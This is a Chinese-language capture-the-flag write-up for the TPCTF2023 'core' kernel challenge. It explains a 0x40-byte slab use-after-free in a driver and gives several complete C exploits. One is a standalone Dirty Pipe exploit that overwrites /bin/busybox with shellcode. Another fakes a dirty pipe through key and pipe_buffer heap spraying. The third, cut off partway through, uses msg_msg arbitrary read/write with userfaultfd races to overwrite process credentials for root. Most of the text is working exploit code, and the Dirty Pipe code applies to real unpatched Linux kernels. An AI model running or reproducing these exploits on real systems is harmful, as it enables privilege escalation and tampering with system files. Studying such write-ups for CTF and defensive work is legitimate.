【slab/0x40 UAF】TPCTF2023 - core 一题多解
前言
这题据说比赛被非惨了,但是笔者比较菜,比赛的时候没有正规做出来并且也没有发现非预期,乐。其实比赛的时候一直在纠结为啥 free obj 没有 freelist,哎,陷进去了,我的 Root 宝贝。
笔者赛后用两种【常规】方式成功复现,第一种方法是利用 pipe 去构造 dirty pipe 覆写 busybox 拿 flag(其实作者给的内核版本本身就有 dirty pipe 漏洞,这里笔者只是为了复习这里利用技巧而复杂化了);第二种方法是利用 msg_msg 去进行任意读写从而覆写 cred 进行提权。
这里笔者还尝试用 USMA 进行利用,理论和调试上都可行,但是最后发现普通用户无法创建新的命名空间,从而导致无法创建 AF_RAW 的 socket,固利用失败,但笔者最后也会提一下该思想。
漏洞分析
保护:开了 kaslr、kpti、smep、smap。测试发现其开了 SLAB_FREELIST_RANDOM,但是没有开 cg,所以这里可以选择多种结构体进行利用。题目采用的是 slab 分配器。
驱动模块 baby.ko 实现了一个增、删、改菜单。
漏洞点:
在 add 的时候,存在数组越界,可以将一个 obj 地址写到 heap_var[15] 处,而 heap_var[15] 刚好是 heap_var[0] 的 tag 位置。
并且在 delete 的时候,并没有清楚 obj 地址,只是清除了其 tag,在进行释放、修改时会检测 tag 是否存在:
所以这里就存在 0x40 大小的 UAF。即:
1)add 一个 0x40 大小的 obj0
2)释放 obj0,其 tag 被清除
3)利用数组越界,写一个 obj 地址到 obj0 的 tag 位置
但是这里限制了 add 的次数为 5 次,其刚好够我们构造一次 UAF。所以题目转换为:一次 0x40 大小的 UAF,有任意写该 UAF obj 的能力
漏洞利用
这个题目本身的问题的就大,其中内核本身没 patch,存在 dirty pipe 漏洞(调着调着发现不对劲,乐),然后还有一些非预期就不说了。
splice 本身的漏洞 -- dirty pipe
关于 dirty pipe 漏洞,笔者在安全客上发表过一篇分析文章,这里就不再讲解原理,exp 如下
注:其中 elfcode 来自 Spirit 战队的 wp(懒得搞,直接抄现成的)
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#define ATTACK_FILE "/bin/busybox"
void err_exit(char* msg)
{
printf("[X] %s\n", msg);
exit(-1);
}
int main(int argc, char** argv, char** env)
{
int fd;
int pipe_fd[2];
loff_t offset;
char buf[PAGE_SIZE];
fd = open(ATTACK_FILE, O_RDONLY);
if (fd < 0) err_exit("Can't open target file");
if (pipe(pipe_fd) < 0) err_exit("Can't create pipe");
for (int i = 0; i < 16; i++) if (write(pipe_fd[1], buf, PAGE_SIZE) < 0) err_exit("Can't write pipe");
for (int i = 0; i < 16; i++) if (read(pipe_fd[0], buf, PAGE_SIZE) < 0) err_exit("Can't read pipe");
offset = 0;
if (splice(fd, &offset, pipe_fd[1], NULL, 1, 0) <= 0) err_exit("Failed at splice");
unsigned char elfcode[] = {
/*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x68, 0x60, 0x66, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01, 0x01, 0x01,
0x48, 0xb8, 0x2f, 0x72, 0x6f, 0x6f, 0x74, 0x2f, 0x66, 0x6c, 0x50, 0x6a,
0x02, 0x58, 0x48, 0x89, 0xe7, 0x31, 0xf6, 0x0f, 0x05, 0x41, 0xba, 0xff,
0xff, 0xff, 0x7f, 0x48, 0x89, 0xc6, 0x6a, 0x28, 0x58, 0x6a, 0x01, 0x5f,
0x99, 0x0f, 0x05, 0xEB
};
if (write(pipe_fd[1], elfcode, sizeof(elfcode)) < 0) err_exit("Failed to write page cache");
return 0;
}
效果如下:
假设 splice 不存在漏洞,构造 drity pipe
利用思路如下:
1)add 一个 obj0
2)释放 obj0,分配 user_key_payload 占据 obj0
3)利用数组越界写 obj0 从而构造好 UAF
4)堆喷 pipe,并 splice,将 page_cache 挂到 pipe_buffer 中
5)UAF 修改 user_key_payload 的 datalen 实现越界读
6)user_key_payload 越界读泄漏 kernel_offset 和 page_cache
7)key_revoke 释放 user_key_payload
8)堆喷 pipe 占据 UAF obj
9)UAF 修改 pipe_buffer 的 page 字段为 page_cache,并修改 flags 为 0x10,这里就相当于构造好了 dirty pipe
10)写管道即写 page_cache
exp 如下:成功率并不是 100%
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <linux/if_packet.h>
void err_exit(char *msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
sleep(5);
exit(EXIT_FAILURE);
}
void info(char *msg)
{
printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}
void hexx(char *msg, size_t value)
{
printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}
void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
/* root checker and shell poper */
void get_root_shell(void)
{
if(getuid()) {
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
sleep(5);
exit(EXIT_FAILURE);
}
puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");
system("/bin/sh");
/* to exit the process normally, instead of segmentation fault */
exit(EXIT_SUCCESS);
}
/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
/* bind the process to specific core */
void bind_core(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
struct note {
int func_idx;
int no_use0;
uint64_t tag;
char* ptr;
uint64_t no_use1;
};
int fd;
void add(uint64_t tag)
{
struct note n = { .tag = tag };
ioctl(fd, 0x1001, &n);
}
void dele(uint64_t tag)
{
struct note n = { .tag = tag };
ioctl(fd, 0x1003, &n);
}
void edit(uint64_t tag, char* buf)
{
struct note n = { .tag = tag, .ptr = buf };
ioctl(fd, 0x1002, &n);
}
int key_alloc(char *description, char *payload, size_t plen)
{
return syscall(__NR_add_key, "user", description, payload, plen,
KEY_SPEC_PROCESS_KEYRING);
}
int key_update(int keyid, char *payload, size_t plen)
{
return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}
int key_read(int keyid, char *buffer, size_t buflen)
{
return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}
int key_revoke(int keyid)
{
return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}
int key_unlink(int keyid)
{
return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}
struct page;
struct pipe_inode_info;
struct pipe_buf_operations;
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};
#define KEY_SPRAY_NUMS 0x20
#define SPARY_PIPE_NUMS 0x30
#define FILE_NUMS 0x30
#define ATTACK_FILE "/bin/busybox"
int main(int argc, char** argv, char** env)
{
bind_core(0);
//save_status();
char desc[8];
char buf[0x1000];
int key_id;
int pipe_fd[SPARY_PIPE_NUMS][2];
int file_fd[FILE_NUMS];
size_t kernel_offset;
fd = open("/dev/baby", O_RDONLY);
if (fd < 0) err_exit("FAILED to open dev file");
for (int i = 0; i < FILE_NUMS; i++)
{
if ((file_fd[i] = open(ATTACK_FILE, O_RDONLY)) < 0)
err_exit("FAILED to open ATTACK_FILE");
}
memset(buf, 'A', sizeof(buf));
puts("[+] ==> START <==");
add(0); // 0
add(1); // 1
add(3); // 3
add(7); // 7
dele(0);
key_id = key_alloc("Pwner", buf, 17);
if (key_id < 0) err_exit("FAILED to key_alloc to get UAF chunk");
for (int i = 0; i < FILE_NUMS; i++)
{
if (pipe(pipe_fd[i]) < 0)
err_exit("FAILED to spary pipe");
}
size_t pipe_sz = 0x1000 * (0x40 / sizeof(struct pipe_buffer));
for (int i = 0; i < FILE_NUMS; i++)
{
if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, pipe_sz) < 0)
err_exit("FAILED to set pipe size to 0x40");
}
/*
for (int i = 0; i < SPARY_PIPE_NUMS; i++)
{
if (write(pipe_fd[i][1], buf, i+1) < 0) err_exit("FAILED to write pipe");
}
for (int i = 0; i < SPARY_PIPE_NUMS; i++)
{
if (read(pipe_fd[i][0], buf, i+1) < 0) err_exit("FAILED to read pipe");
}
*/
for (int i = 0; i < FILE_NUMS; i++)
{
loff_t offset = i;
if (splice(file_fd[i], &offset, pipe_fd[i][1], NULL, 1, 0) <= 0)
perror("[X} FAILED to splice"), exit(EXIT_FAILURE);
}
add(15); // 15
// splice to leak page_cache page addr
memset(buf, 0, sizeof(buf));
*(uint64_t*)buf = 0;
*(uint64_t*)(buf+8) = 0;
*(uint64_t*)(buf+16) = 0xf00;
edit(0, buf);
memset(buf, 0, sizeof(buf));
kernel_offset = -1;
int res = key_read(key_id, buf, 0xf00);
hexx("key_read data len", res);
// binary_dump("OOB_READ DATA", buf, 0xf00);
size_t anon_pipe_buf_ops = 0xffffffff81a0ec80;
size_t page_cache_pipe_buf_ops = 0xffffffff81a0fa60;
size_t page = 0;
size_t hit_idx = 0;
for (int i = 0; i < 0xf00 / 8; i++)
{
if (*(uint64_t*)(buf+i*8) > 0xffffffff81000000 && (*(uint64_t*)(buf+i*8)&0xfff) == 0xa60)
{
kernel_offset = *(uint64_t*)(buf+i*8) - page_cache_pipe_buf_ops;
page_cache_pipe_buf_ops = *(uint64_t*)(buf+i*8);
page = *(uint64_t*)(buf+i*8-16);
hit_idx = *(uint32_t*)(buf+i*8-4-4);
break;
}
}
if (kernel_offset == -1) err_exit("FAILED to leak kernel offset");
anon_pipe_buf_ops += kernel_offset;
hexx("kernel_offset", kernel_offset);
hexx("anon_pipe_buf_ops", anon_pipe_buf_ops);
hexx("page_cache_pipe_buf_ops", page_cache_pipe_buf_ops);
hexx("page_cache page", page);
hexx("pipe_buffer hit_idx", hit_idx);
int flag = 1;
for (int i = 0; i < SPARY_PIPE_NUMS; i++)
{
if (i != hit_idx)
{
close(pipe_fd[i][1]);
close(pipe_fd[i][0]);
}
if (i > SPARY_PIPE_NUMS / 2 && flag) key_revoke(key_id), flag = 0;
}
for (int i = 0; i < SPARY_PIPE_NUMS; i++)
{
if (i != hit_idx)
if (pipe(pipe_fd[i]) < 0) err_exit("FAILED to spary to get UAF obj");
}
// key_revoke(key_id);
for (int i = 0; i < SPARY_PIPE_NUMS; i++)
{
if (i != hit_idx)
if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, pipe_sz) < 0) err_exit("FAILED to set pipe size to 0x40");
}
// memset(buf, 'A', sizeof(buf));
// for (int i = 0; i < SPARY_PIPE_NUMS; i++)
// {
// if (i != hit_idx)
// if (write(pipe_fd[i][1], buf, i+1) < 0)
// err_exit("FAILED to write something to pipe");
// }
// puts("[+] Stop 0 here");
// add(20);
memset(buf, 'A', 0x1000);
for (int i = 0; i < FILE_NUMS; i++)
{
// loff_t offset = i;
if (i != hit_idx) write(pipe_fd[i][1], buf, 1);
// if (splice(file_fd[i], &offset, pipe_fd[i][1], NULL, 1, 0) <= 0)
// perror("[X} FAILED to splice"), exit(EXIT_FAILURE);
}
memset(buf, 0, sizeof(buf));
*(uint64_t*)buf = page;
*(uint64_t*)(buf+8) = 0x100000000;
// *(uint64_t*)(buf+16) = page_cache_pipe_buf_ops;
*(uint64_t*)(buf+16) = anon_pipe_buf_ops;
*(uint64_t*)(buf+24) = 0x10;
// puts("[+] Stop 1 here to edit");
// add(0xff);
sleep(1);
for (int i = 0; i < 0x10000; i+=8)
{
// printf("[x] write i: %x\n", i);
edit(i, buf);
}
// puts("[x] edit over");
unsigned char elfcode[] = {
/*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x68, 0x60, 0x66, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01, 0x01, 0x01,
0x48, 0xb8, 0x2f, 0x72, 0x6f, 0x6f, 0x74, 0x2f, 0x66, 0x6c, 0x50, 0x6a,
0x02, 0x58, 0x48, 0x89, 0xe7, 0x31, 0xf6, 0x0f, 0x05, 0x41, 0xba, 0xff,
0xff, 0xff, 0x7f, 0x48, 0x89, 0xc6, 0x6a, 0x28, 0x58, 0x6a, 0x01, 0x5f,
0x99, 0x0f, 0x05, 0xEB
};
// puts("[+] Stop 2 here to write pipe");
// add(0xff);
sleep(1);
for (int i = 0; i < SPARY_PIPE_NUMS; i++)
{
// printf("%d\n", i);
if (i != hit_idx)
write(pipe_fd[i][1], elfcode, sizeof(elfcode));
}
// puts("[+] Stop 3 here to STOP");
// add(20);
puts("[X] Never EXP END");
return 0;
}
效果如下:
msg_msg 任意地址读写修改 cred
该利用方式其实就是 BitsByWill 和 D3v17 大佬在 corCTF 2021 中所展示的技巧。强烈推荐看原博客,虽然都是英文的,但是说实话,看图就懂了。不得不说,图画的是真好真形象🐂,跟你说一万句不如一张图(所以后面基本搬大佬的图片)。
利用思路如下:
1)add 一个 obj0
2)释放 obj0,分配 msg_msg 占据 obj0
3)利用数组越界写 obj0 从而构造好 UAF
4)堆喷 0x40 大小的 msg_msg,形成如下布局:
5)UAF 修改 UAF msg_msg 的 m_ts 实现越界读,这里会读出一些内核地址,笔者将其作为一个字典进行比对进而泄漏 kernel_offset。同时可以在堆喷的 msg_msg 中写上特殊的 TAG 进行定位
6)在msg_msg-2 消息队列上发送一个 0x2000-0x30-8 的消息,(这里的图片来自上述大佬博客,太难画了,所以直接piao了)即形成如下布局:
7)再次利用 UAF msg_msg 进行越界读,从而泄漏 MSG #1(QID #1) 的地址
8)UAF 修改 UAF msg_msg 的 m_ts 和 next 进行任意地址读取。这里我们利用其来泄漏当前进程的 cred。主要就是遍历 init_task 的 tasks 链表,其中以 qid 进行确认,当然也可以通过 comm 字段,随你。
9)泄漏了当前进程的 cred 后,考虑的就是如果进行对其进行写入。这里我感觉也是这个思路比较秒的地方。
将 msg_msg-2 消息队列上的消息脱链,即释放掉。
注意,slab 是后进先出,所以如果这时在创建一个消息队列并发送一个 0x2000-0x30-8 的消息其布局如下:
这里的 msg_seg 就是上面的 msg_msg,所以这里 msg_seg 的地址我们是知道的,所以我们可以利用 userfaultfd 将其卡住,然后在另一个线程中利用 UAF 将该 mes_seg 释放掉:释放的思路很简单,修改 UAF msg_msg 的 next 指向该 msg_seg,并修复下 m_list,然后接收消息即可。
这时如果在创建一个消息队列并发送 0x1038-0x30-8 的消息,则会形成如下布局:
同理在其写 meg_seg 时利用 userfaultfd 将其卡住。
那这里着描述,接着我们先让 #1 继续执行,这时就会修改上面蓝色消息的 next 指针,这里我们可以将其修改为 cred;然后再让 #2 继续执行,这时就修改了 cred 的内容
exp 如下:成功率还可以,比较高
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/prctl.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <linux/if_packet.h>
void err_exit(char *msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
sleep(5);
exit(EXIT_FAILURE);
}
void info(char *msg)
{
printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}
void hexx(char *msg, size_t value)
{
printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}
void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
/* root checker and shell poper */
void get_root_shell(void)
{
if(getuid()) {
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
sleep(5);
exit(EXIT_FAILURE);
}
puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");
system("/bin/sh");
/* to exit the process normally, instead of segmentation fault */
exit(EXIT_SUCCESS);
}
/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
/* bind the process to specific core */
void bind_core(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
struct note {
int func_idx;
int no_use0;
uint64_t tag;
char* ptr;
uint64_t no_use1;
};
int fd;
void add(uint64_t tag)
{
struct note n = { .tag = tag };
ioctl(fd, 0x1001, &n);
}
void dele(uint64_t tag)
{
struct note n = { .tag = tag };
ioctl(fd, 0x1003, &n);
}
void edit(uint64_t tag, char* buf)
{
struct note n = { .tag = tag, .ptr = buf };
ioctl(fd, 0x1002, &n);
}
#define SPARY_NUMS 0x20
struct msg_buf {
long m_type;
char m_text[1];
};
struct msg_header {
void* l_next;
void* l_prev;
long m_type;
size_t m_ts;
void* next;
void* security;
};
size_t check_table[] = {
0xffffffff81276bc3,
0xffffffff81276e2f,
0xffffffff81b23a0b,
0xffffffffc00021d0,
0xffffffff81c41600,
0xffffffff81c32d00,
0xffffffff812cd7a0,
0xffffffff812cd7c0,
0xffffffff81c41520,
0xffffffff812cd480,
0xffffffff812cd4a0,
0xffffffff81b3d486,
0xffffffff81c4f2c0,
0xffffffff81a15800,
0xffffffff81b1b86e,
0xffffffff81a29920,
0xffffffff81b3f925,
0xffffffff81c4f2a0,
0xffffffff81a15860,
0xffffffff81b3d47a,
0xffffffff81c4f1c0,
0xffffffff81b33afd,
0xffffffff81c4f340,
0xffffffff81b3f91a,
0xffffffff81a15aa0,
0xffffffff81c4f3a0,
0xffffffff81b37a24,
0xffffffff81b3d451,
0xffffffff81b3d499
};
size_t leak_offset(size_t addr)
{
size_t kernel_offset = -1;
if (addr < 0xffffffff81000000) return kernel_offset;
for (int i = 0; i < sizeof(check_table) / sizeof(size_t); i++)
{
if ((check_table[i] & 0xfff) == (addr & 0xfff))
{
kernel_offset = addr - check_table[i];
break;
}
}
return kernel_offset;
}
void register_userfaultfd(pthread_t* moniter_thr, void* addr, long len, void* handler)
{
long uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
if (uffd < 0) perror("[X] syscall for __NR_userfaultfd"), exit(-1);
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) puts("[X] ioctl-UFFDIO_API"), exit(-1);
uffdio_register.range.start = (long long)addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) puts("[X] ioctl-UFFDIO_REGISTER"), exit(-1);
if (pthread_create(moniter_thr, NULL, handler, (void*)uffd) < 0)
puts("[X] pthread_create at register_userfaultfd"), exit(-1);
}
int qid;
char copy_src[0x1000];
char *uffd_buf1, *uffd_buf2;
uint64_t ll_next = -1, ll_prev = -1;
sem_t sem1, sem2, sem3;
size_t cred_cred = 0;
int pipe_fd[3][2];
void* handler_1(void* arg)
{
struct uffd_msg msg;
struct uffdio_copy uffdio_copy;
long uffd = (long)arg;
for(;;)
{
int res;
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);
res = read(uffd, &msg, sizeof(msg));
if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);
puts("[+] Now in userfaultfd handler_1");
// sem_post(&sem1);
write(pipe_fd[0][1], "g", 1);
// sleep(1);
*(uint64_t*)(copy_src + 8) = 0;
*(uint64_t*)(copy_src + +0x10) = 1;
*(uint64_t*)(copy_src + +0x18) = 0x2000-0x30-8;
*(uint64_t*)(copy_src + +0x20) = cred_cred - 8;
*(uint64_t*)(copy_src + +0x28) = 0;
// sem_wait(&sem3);
char w[1];
read(pipe_fd[2][0], w, 1);
uffdio_copy.src = (long long)copy_src;
uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
uffdio_copy.len = 0x1000;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
// sem_post(&sem2);
// sleep(1);
write(pipe_fd[1][1], "g", 1);
}
}
void* handler_2(void* arg)
{
struct uffd_msg msg;
struct uffdio_copy uffdio_copy;
long uffd = (long)arg;
for(;;)
{
int res;
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);
res = read(uffd, &msg, sizeof(msg));
if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);
puts("[+] Now in userfaultfd handler_2");
char w[1];
// sem_post(&sem3);
write(pipe_fd[2][1], "g", 1);
// sem_wait(&sem2);
read(pipe_fd[1][0], w, 1);
sleep(1);
memset(copy_src, 0, sizeof(copy_src));
*(int*)copy_src = 1;
uffdio_copy.src = (long long)copy_src;
uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
uffdio_copy.len = 0x1000;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
}
}
void* thread_handler1(void* arg)
{
puts("[+] thread_handler1 start to work");
int qqid = msgget(IPC_PRIVATE, IPC_CREAT|0666);
if (qqid < 0) err_exit("FAILED to create a msg queue in thread_handler1");
char buf[0x2000];
struct msg_buf* msg = (struct msg_buf*)(uffd_buf1+0x30);
msg->m_type = 1;
if (msgsnd(qqid, msg, 0x2000-0x30-8, 0) < 0)
err_exit("FAILED to send 0x2000 msg in thread_handler1");
puts("[+] thread_handler1 over");
return NULL;
}
void* thread_handler2(void* arg)
{
char w[1];
read(pipe_fd[0][0], w, 1);
// sem_wait(&sem1);
puts("[+] thread_handler2 start to work");
uint64_t buf[0x30/8];
char buff[0x2000];
buf[0] = ll_prev;
buf[1] = ll_prev;
buf[2] = 1;
buf[3] = 0x10;
buf[4] = ll_next;
buf[5] = 0;
edit(0, (char*)buf);
int res = msgrcv(qid, buff, 0x10, 1, IPC_NOWAIT|MSG_NOERROR);
hexx(" msgrcv to free data size", res);
int qqid = msgget(IPC_PRIVATE, IPC_CREAT|0666);
if (qqid < 0) err_exit("FAILED to create a msg queue in thread_handler1");
struct msg_buf* msg = (struct msg_buf*)(uffd_buf2+0x30);
msg->m_type = 1;
if (msgsnd(qqid, msg, 0x1038-0x30-8, 0) < 0)
err_exit("FAILED to send 0x2000 msg in thread_handler1");
puts("[+] thread_handler2 over");
return NULL;
}
int main(int argc, char** argv, char** env)
{
bind_core(0);
//save_status();
char desc[0x10];
char buf[0x1000];
char msg_buffer[0x2000];
struct msg_buf* msg_msg;
int msg_idx[SPARY_NUMS];
size_t kernel_offset;
char target[16] = { 0 };
// sem_init(&sem1, 0, 0);
// sem_init(&sem2, 0, 0);
// sem_init(&sem3, 0, 0);
for (int i = 0; i < 3; i++) pipe(pipe_fd[i]);
strcpy(target, "XiaozaYaPwner");
if (prctl(PR_SET_NAME, target, 0, 0, 0) != 0)
{
err_exit("cannot set name");
}
fd = open("/dev/baby", O_RDONLY);
if (fd < 0) err_exit("FAILED to open dev file");
pthread_t thr1, thr2;
uffd_buf1 = (char*)mmap(0, 0x2000, PROT_WRITE|PROT_READ, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
uffd_buf2 = (char*)mmap(0, 0x2000, PROT_WRITE|PROT_READ, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
register_userfaultfd(&thr1, (void*)(uffd_buf1+0x1000), 0x1000, handler_1);
register_userfaultfd(&thr2, (void*)(uffd_buf2+0x1000), 0x1000, handler_2);
puts("[+] ==> START <==");
memset(buf, 'A', 0x1000);
add(0); // 0
add(1); // 1
add(3); // 3
add(7); // 7
dele(0);
if ((qid = msgget(IPC_PRIVATE, IPC_CREAT|0666)) < 0) err_exit("FAILED to create a msg_queue");
memset(msg_buffer, 'A', sizeof(msg_buffer));
msg_msg = (struct msg_buf*)msg_buffer;
msg_msg->m_type = 1;
if (msgsnd(qid, msg_msg, 0x40-0x30, 0) < 0) err_exit("FAILED to msgsnd a 0x40 msg");
add(0xffff);
memset(msg_buffer, 0, sizeof(msg_buffer));
for (int i = 0; i < SPARY_NUMS; i++)
{
if ((msg_idx[i] = msgget(0, IPC_PRIVATE|0666)) < 0) err_exit("FAILED to create a msg_queue");
msg_msg->m_type = 1;
*(uint64_t*)msg_msg->m_text = 0xAAAABBBBCCCCDDDD;
*(uint64_t*)(msg_msg->m_text+8) = i;
